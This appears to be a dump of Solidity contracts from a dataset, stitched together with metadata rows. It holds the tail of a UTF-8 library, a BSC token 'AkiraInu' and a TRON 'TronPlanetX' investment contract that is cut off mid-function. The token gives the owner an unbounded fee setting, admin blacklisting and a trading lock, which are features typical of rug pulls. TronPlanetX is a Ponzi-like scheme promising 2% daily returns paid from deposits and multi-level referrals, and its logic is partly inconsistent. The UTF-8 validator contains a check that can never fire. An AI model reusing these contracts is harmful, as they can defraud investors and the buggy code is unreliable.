return (uint16(uint8(_b[0] & 0x1f)) << 6) + uint16(uint8(_b[1] & 0x3f));
}
function threeBytesCodePoint(bytes memory _b) private pure returns (uint32) {
return
(uint16(uint8(_b[0] & bytes1(0x0f))) << 12) +
(uint16(uint8((_b[1] & bytes1(0x3f)))) << 6) +
uint16(uint8(_b[2] & 0x3f));
}
function fourBytesCodePoint(bytes memory _b) private pure returns (uint32) {
return
((uint32(uint8(_b[0] & 0x07)) << 18)) +
(uint32(uint8(_b[1] & 0x3f)) << 12) +
(uint32(uint8(_b[2] & 0x3f)) << 6) +
uint8(_b[3] & 0x3f);
}
/// @notice Get length of `self`
/// @param self The input string
/// @return The number of UTF-8 characters in `self`
function length(string calldata self) public pure returns (uint256) {
bytes memory _b = bytes(self);
uint256 end = _b.length;
uint256 len;
uint256 i;
while (i < end) {
len++;
if (isOneBytesSequence(_b[i])) {
i += 1;
continue;
} else if (isTwoBytesSequence(_b[i])) {
i += 2;
continue;
} else if (isThreeBytesSequence(_b[i])) {
i += 3;
continue;
} else if (isFourBytesSequence(_b[i])) {
i += 4;
continue;
}
require(false, "invalid utf8");
}
return len;
}
/// @notice Get the code point of character: `self`
/// @dev This function requires a valid UTF-8 character
/// @param self The input character
/// @return The code point of `self`
function toCodePoint(string memory self) public pure returns (uint32) {
bytes memory _b = bytes(self);
uint256 len = _b.length;
require(len <= 4,
"invalid utf8 character: a character cannot be more than four bytes");
require(len > 0, "invalid utf8 character: empty string");
if (isOneBytesSequence(_b[0])) return uint8(bytes1(_b[0]));
require(len > 1, "invalid utf8 character");
if (isTwoBytesSequence(_b[0])) {
return twoBytesCodePoint(_b);
}
require(len > 2, "invalid utf8 character");
if (isThreeBytesSequence(_b[0])) {
return threeBytesCodePoint(_b);
}
require(len > 3, "invalid utf8 character");
if (isFourBytesSequence(_b[0])) {
return fourBytesCodePoint(_b);
}
require(false, "invalid utf8 character");
return 0;
}
/// @notice Check if `self` is valid UTF-8
/// @param self The input string
/// @return True if the string is UTF-8 encoded
function isUTF8(string calldata self) external pure returns (bool) {
bytes memory _b = bytes(self);
uint256 end = _b.length;
uint32 cp;
uint256 i;
while (i < end) {
if (isOneBytesSequence(_b[i])) {
i += 1;
continue;
}
if (isContinuationByte(_b[i + 1])) return false;
if (isTwoBytesSequence(_b[i])) {
cp = twoBytesCodePoint(bytes.concat(_b[i], _b[i + 1]));
if (cp < 0x0080 || cp > 0x07FF) return false;
i += 2;
continue;
}
if (isContinuationByte(_b[i + 2])) return false;
if (isThreeBytesSequence(_b[i])) {
cp = threeBytesCodePoint(bytes.concat(_b[i], _b[i + 1], _b[i + 2]));
if (cp < 0x0800) return false;
if ((cp >> 11) == 0x1b) return false;
i += 3;
continue;
}
if (isContinuationByte(_b[i + 3])) return false;
if (isFourBytesSequence(_b[i])) {
cp = fourBytesCodePoint(bytes.concat(_b[i], _b[i + 1], _b[i + 2], _b[i + 3]));
if ((cp < 0x10000) && (cp > 0x10FFFF)) return false;
i += 4;
continue;
}
// invalid
return false;
}
return true;
}
/// @notice Decode the next UTF-8 character in `self` given a starting position of `_cursor`
/// @param self The input string
/// @param _cursor The starting bytes position (inclusive) of the character
/// @return The next character as a string and the starting position of the next character.
function decodeChar(string calldata self, uint256 _cursor)
public
pure
returns (string memory, uint256)
{
bytes memory _b = bytes(self);
uint256 len = _b.length;
bytes memory output;
uint32 cp;
require(_cursor < len, "invalid cursor: cursor out of bounds");
output = bytes.concat(output, _b[_cursor]);
_cursor++;
// ASCII
if (isOneBytesSequence(output[0])) return (string(output), _cursor);
require(_cursor < len, "invalid cursor: cursor out of bounds");
require(!isContinuationByte(_b[_cursor]),
"only bit 7 should contain a continuation byte");
output = bytes.concat(output, _b[_cursor]);
_cursor++;
if (isTwoBytesSequence(output[0])) {
cp = twoBytesCodePoint(output);
require(cp >= 0x0080 && cp <= 0x07FF,
"invalid character: out of two bytes sequence range U+0080..U+07FF");
return (string(output), _cursor);
}
require(_cursor < len, "invalid cursor: cursor out of bounds");
require(!isContinuationByte(_b[_cursor]),
"only bit 7 should contain a continuation byte");
output = bytes.concat(output, _b[_cursor]);
_cursor++;
if (isThreeBytesSequence(output[0])) {
cp = threeBytesCodePoint(output);
require(cp >= 0x0800,
"invalid character: out of three bytes sequence range U+0800..U+FFFF");
require((cp >> 11) != 0x1b, "surrogates are invalid in UTF-8");
return (string(output), _cursor);
}
require(_cursor < len, "invalid cursor: cursor out of bounds");
require(!isContinuationByte(_b[_cursor]),
"only bit 7 should contain a continuation byte");
output = bytes.concat(output, _b[_cursor]);
_cursor++;
if (isFourBytesSequence(output[0])) {
cp = fourBytesCodePoint(output);
require((cp >= 0x10000) && (cp <= 0x10FFFF),
"invalid character: out of four bytes sequence range U+10000..U+10FFFF");
return (string(output), _cursor);
}
require(false, "invalid utf8");
return ("", 0);
}
/// @notice Decode every UTF-8 characters in `self`
/// @param self The input string
/// @return An ordered array of all UTF-8 characters in `self`
function decode(string calldata self)
external
pure
returns (string[] memory)
{
// The charaters array must be initialized to a fixed size.
// Loop over the string to get the number of charcters before decoding.
uint256 size = length(self);
string[] memory characters = new string[](size);
string memory char;
uint256 cursor = 0;
uint256 len = bytes(self).length;
uint256 idx;
while (cursor < len) {
(char, cursor) = decodeChar(self, cursor);
characters[idx] = char;
idx++;
}
return characters;
}
/// @notice Get the UTF-8 character at `_idx` for `self`
/// @dev charAt will error if the idx is out of bounds
/// @param self The input string
/// @param _idx The index of the character to get
/// @return The character at the given index
function charAt(string calldata self, uint256 _idx)
public
pure
returns (string memory)
{
string memory char;
uint256 len = bytes(self).length;
uint256 cursor;
for (uint256 i = 0; i <= _idx; i++) {
(char, cursor) = decodeChar(self, cursor);
// if we hit the end, it must be the _idx
require(cursor < len || i == _idx, "index out of bounds");
}
return char;
}
/// @notice Get the Unicode code point at `_idx` for `self`
/// @dev codePointAt requires a valid UTF-8 string
/// @param self The input string
/// @param _idx The index of the code point to get
/// @return The Unicode code point at the given index
function codePointAt(string calldata self, uint256 _idx)
external
pure
returns (uint32)
{
return toCodePoint(charAt(self, _idx));
}
/// @notice The return value of indexOf and bytesIndicesOf if the character is not found
uint256 public constant CHAR_NOT_FOUND = type(uint256).max;
/// @notice Get the character index of `_of` in string `self`
/// @dev indexOf returns CHAR_NOT_FOUND if `_of` isn't found in `self`
/// @param self The input string
/// @param _of The character to find the index of
/// @return The index of the character in the given string
function indexOf(string calldata self, string calldata _of)
external
pure
returns (uint256)
{
string memory char;
uint256 cursor = 0;
uint256 len = bytes(self).length;
uint256 idx;
while (cursor < len) {
(char, cursor) = decodeChar(self, cursor);
if (keccak256(bytes(char)) == keccak256(bytes(_of))) return idx;
idx++;
}
return CHAR_NOT_FOUND;
}
/// @dev bytesIndicesOf returns (CHAR_NOT_FOUND, CHAR_NOT_FOUND) if `_of` isn't found in `self`
/// @param self The input string
/// @param _of The character to find the bytes indices of
function bytesIndicesOf(string calldata self, string calldata _of)
external
pure
returns (uint256, uint256)
{
string memory char;
uint256 start;
uint256 cursor = 0;
uint256 len = bytes(self).length;
while (cursor < len) {
// start is the prev cursor before the character
start = cursor;
(char, cursor) = decodeChar(self, cursor);
if (keccak256(bytes(char)) == keccak256(bytes(_of)))
return (start, cursor);
}
return (CHAR_NOT_FOUND, CHAR_NOT_FOUND);
}
}
| 281,937 | 10,618 |
a75cebcd4578b39edba34b4d220d35223c624dfc25cbb2e008a65c5ed3db296d
| 26,358 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x9351B9F34fb5D70f1E8E74F574202A65a8024F63/contract.sol
| 3,737 | 14,729 |
pragma solidity 0.8.7;
// SPDX-License-Identifier: MIT
abstract contract Context {
function _msgSender() internal virtual view returns (address) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface Token {
function transfer(address, uint256) external returns (bool);
}
contract Akirainu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "AkiraInu";
string private _symbol = "AKI";
uint8 private _decimals = 18;
address public charityAddress = 0xB82b89435c4b91E50EA42c73513B30Db88cC1A0e;
bool public tradingEnabled = false;
mapping(address => uint256) internal _tokenBalance;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => bool) isBlacklisted;
mapping(address => bool) isAdmin;
mapping(address => bool) isExcludedFromFee;
address[] internal _excluded;
uint256 internal _tokenTotal = 850000000000 *10**18;
uint256 public _charityFee = 800;
uint256 public _charityFeeTotal;
event RewardsDistributed(uint256 amount);
constructor() {
isExcludedFromFee[_msgSender()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[address(charityAddress)] = true;
isAdmin[_msgSender()] = true;
_tokenBalance[_msgSender()] = _tokenTotal;
emit Transfer(address(0), _msgSender(), _tokenTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _tokenTotal;
}
function balanceOf(address account) public override view returns (uint256) {
return _tokenBalance[account];
}
function transfer(address recipient, uint256 amount) public override virtual returns (bool) {
_transfer(_msgSender(),recipient,amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override virtual returns (bool) {
_transfer(sender,recipient,amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"BSC: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BSC: decreased allowance below zero"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BSC: approve from the zero address");
require(spender != address(0), "BSC: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BSC: transfer from the zero address");
require(recipient != address(0), "BSC: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(tradingEnabled || isExcludedFromFee[sender] || isExcludedFromFee[recipient], "Trading is locked before token launch.");
require(!isBlacklisted[recipient], "Recipient is blacklisted");
require(!isBlacklisted[sender], "Sender is blacklisted");
uint256 transferAmount = amount;
if(!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]){
transferAmount = collectFee(sender,amount);
}
_tokenBalance[sender] = _tokenBalance[sender].sub(amount);
_tokenBalance[recipient] = _tokenBalance[recipient].add(transferAmount);
emit Transfer(sender, recipient, transferAmount);
}
function collectFee(address account, uint256 amount) private returns (uint256) {
uint256 transferAmount = amount;
//@dev charity fee
if(_charityFee != 0){
uint256 charityFee = amount.mul(_charityFee).div(10000);
transferAmount = transferAmount.sub(charityFee);
_tokenBalance[charityAddress] = _tokenBalance[charityAddress].add(charityFee);
_charityFeeTotal = _charityFeeTotal.add(charityFee);
emit Transfer(account,charityAddress,charityFee);
}
return transferAmount;
}
function AddToExcludedFromFee(address _user) public onlyOwner {
require(!isExcludedFromFee[_user], "user already blacklisted");
isExcludedFromFee[_user] = true;
}
function removeFromExcludedFromFee(address _user) public onlyOwner {
require(isExcludedFromFee[_user], "user already whitelisted");
isExcludedFromFee[_user] = false;
}
function QueryExcludedFromFee(address _user) public view returns (bool) {
return isExcludedFromFee[_user];
}
function AddToBlacklist(address _user) public {
require(isAdmin[_msgSender()], "this function is for admins only");
require(!isBlacklisted[_user], "user already blacklisted");
isBlacklisted[_user] = true;
}
function removeFromBlacklist(address _user) public {
require(isAdmin[_msgSender()], "this function is for admins only");
require(isBlacklisted[_user], "user already whitelisted");
isBlacklisted[_user] = false;
}
function QueryBlacklist(address _user) public view returns (bool) {
return isBlacklisted[_user];
}
function AddToAdmins(address _user) public onlyOwner {
require(!isAdmin[_user], "user already admin so cannot add");
isAdmin[_user] = true;
}
function removeFromAdmins(address _user) public onlyOwner {
require(isAdmin[_user], "user is not an admin so cannot remove");
isAdmin[_user] = false;
}
function QueryAdminlist(address _user) public onlyOwner view returns (bool) {
return isAdmin[_user];
}
function setCharityFee(uint256 fee) public onlyOwner {
_charityFee = fee;
}
function enableTrading() public onlyOwner {
tradingEnabled = true;
}
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "BSC: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BSC: burn from the zero address");
uint256 accountBalance;
accountBalance = _tokenBalance[account];
_tokenBalance[account] = accountBalance.sub(amount, "BSC: burn amount exceeds balance");
_tokenTotal = _tokenTotal.sub(amount);
emit Transfer(account, address(0), amount);
}
// function to allow admin to transfer ETH from this contract
function TransferETH(address payable recipient, uint256 amount) public onlyOwner {
recipient.transfer(amount);
}
// function to allow admin to transfer BNB tokens from this contract
function transferAnyERC20Tokens(address _tokenAddress, address _to, uint256 _amount) public onlyOwner {
Token(_tokenAddress).transfer(_to, _amount);
}
receive() external payable {}
}
| 248,826 | 10,619 |
869bd80c266f2f69c8205facbc4c5e94ab34bf04246ef2d1751b8790d9a8b401
| 19,035 |
.sol
|
Solidity
| false |
371975691
|
w3villa-neha/solidity
|
a9a8e9fc438fc1425af7a7dbafc9519a9f46f81f
|
tronPlanetX.sol
| 4,960 | 18,443 |
pragma solidity >=0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
uint256 level4RefCount;
uint256 level5RefCount;
uint256 level6RefCount;
uint256 level7RefCount;
uint256 level8RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract TronPlanetX is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 40; // 4% Team, Operation & Development
uint256 public constant MARKETING_RATE = 40; // 4% Marketing
uint256 public constant REFERENCE_RATE = 180; // 18% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 100; // 10% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 50; // 5% Level 2 Income
uint256 public constant REFERENCE_LEVEL3_RATE = 30; // 3% Level 3 Income
uint256 public constant REFERENCE_LEVEL4_RATE = 30; // 3% Level 4 Income
uint256 public constant REFERENCE_LEVEL5_RATE = 30; // 3% Level 5 Income
uint256 public constant REFERENCE_LEVEL6_RATE = 20; // 2% Level 6 Income
uint256 public constant REFERENCE_LEVEL7_RATE = 20; // 2% Level 7 Income
uint256 public constant REFERENCE_LEVEL8_RATE = 20; // 2% Level 8 Income
uint256 public constant MINIMUM = 200e6; // Minimum investment : 200 TRX
uint256 public constant REFERRER_CODE = 1000; // Root ID : 1000
uint256 public constant PLAN_INTEREST = 20; // 2% Daily Roi
uint256 public constant PLAN_TERM = 105 days; // 105 Days
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public developerWallet_;
uint256 public marketingWallet_;
address payable private developerAccount_;
address payable private marketingAccount_;
struct LevelIncome{
uint256 level1;
uint256 level2;
uint256 level3;
uint256 level4;
uint256 level5;
uint256 level6;
uint256 level7;
uint256 level8;
}
mapping(address => uint256) public address2UID;
mapping(uint256 => LevelIncome) public levelIncomes;
mapping(uint256 => Objects.Investor) public uid2Investor;
mapping(uint256 => uint256) public amountWithdrawn;
event onInvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor(address payable _developerAccount, address payable _marketingAccount) public {
developerAccount_ = _developerAccount;
marketingAccount_ = _marketingAccount;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
investor.planCount,
investor.checkpoint,
newDividends);
}
function getLevelRefCount(uint256 _uid) public view returns(uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256){
Objects.Investor storage investor = uid2Investor[_uid];
return (investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.level4RefCount,
investor.level5RefCount,
investor.level6RefCount,
investor.level7RefCount,
investor.level8RefCount);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref = _referrerCode;
for(uint256 i=0;i<3;i++){
if (_ref >= REFERRER_CODE) {
if(i==0)
uid2Investor[_ref].level1RefCount = uid2Investor[_ref].level1RefCount.add(1);
if(i==1)
uid2Investor[_ref].level2RefCount = uid2Investor[_ref].level2RefCount.add(1);
if(i==2)
uid2Investor[_ref].level3RefCount = uid2Investor[_ref].level3RefCount.add(1);
if(i==3)
uid2Investor[_ref].level4RefCount = uid2Investor[_ref].level4RefCount.add(1);
if(i==4)
uid2Investor[_ref].level5RefCount = uid2Investor[_ref].level5RefCount.add(1);
if(i==5)
uid2Investor[_ref].level6RefCount = uid2Investor[_ref].level6RefCount.add(1);
if(i==6)
uid2Investor[_ref].level7RefCount = uid2Investor[_ref].level7RefCount.add(1);
if(i==7)
uid2Investor[_ref].level8RefCount = uid2Investor[_ref].level8RefCount.add(1);
}
_ref = uid2Investor[_ref].referrer;
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
//withdraw
msg.sender.transfer(withdrawalAmount+uid2Investor[address2UID[msg.sender]].availableReferrerEarnings);
uid2Investor[address2UID[msg.sender]].availableReferrerEarnings = 0;
amountWithdrawn[address2UID[msg.sender]] = amountWithdrawn[address2UID[msg.sender]].add(withdrawalAmount);
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(1000);
developerWallet_ = developerWallet_.add(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(1000);
marketingWallet_ = marketingWallet_.add(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref = _referrerCode;
uint256 _refAmount = 0;
for(uint256 i=0;i<10;i++){
if (_ref != 0)
{
if(i==0){
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
levelIncomes[_ref].level1 = levelIncomes[_ref].level1.add(_refAmount);
}
if(i==1){
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
levelIncomes[_ref].level2 = levelIncomes[_ref].level2.add(_refAmount);
}
if(i==2){
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
levelIncomes[_ref].level3 = levelIncomes[_ref].level3.add(_refAmount);
}
if(i==3){
_refAmount = (_investment.mul(REFERENCE_LEVEL4_RATE)).div(1000);
levelIncomes[_ref].level4 = levelIncomes[_ref].level4.add(_refAmount);
}
if(i==4){
_refAmount = (_investment.mul(REFERENCE_LEVEL5_RATE)).div(1000);
levelIncomes[_ref].level5 = levelIncomes[_ref].level5.add(_refAmount);
}
if(i==5){
_refAmount = (_investment.mul(REFERENCE_LEVEL6_RATE)).div(1000);
levelIncomes[_ref].level6 = levelIncomes[_ref].level6.add(_refAmount);
}
if(i==6){
_refAmount = (_investment.mul(REFERENCE_LEVEL7_RATE)).div(1000);
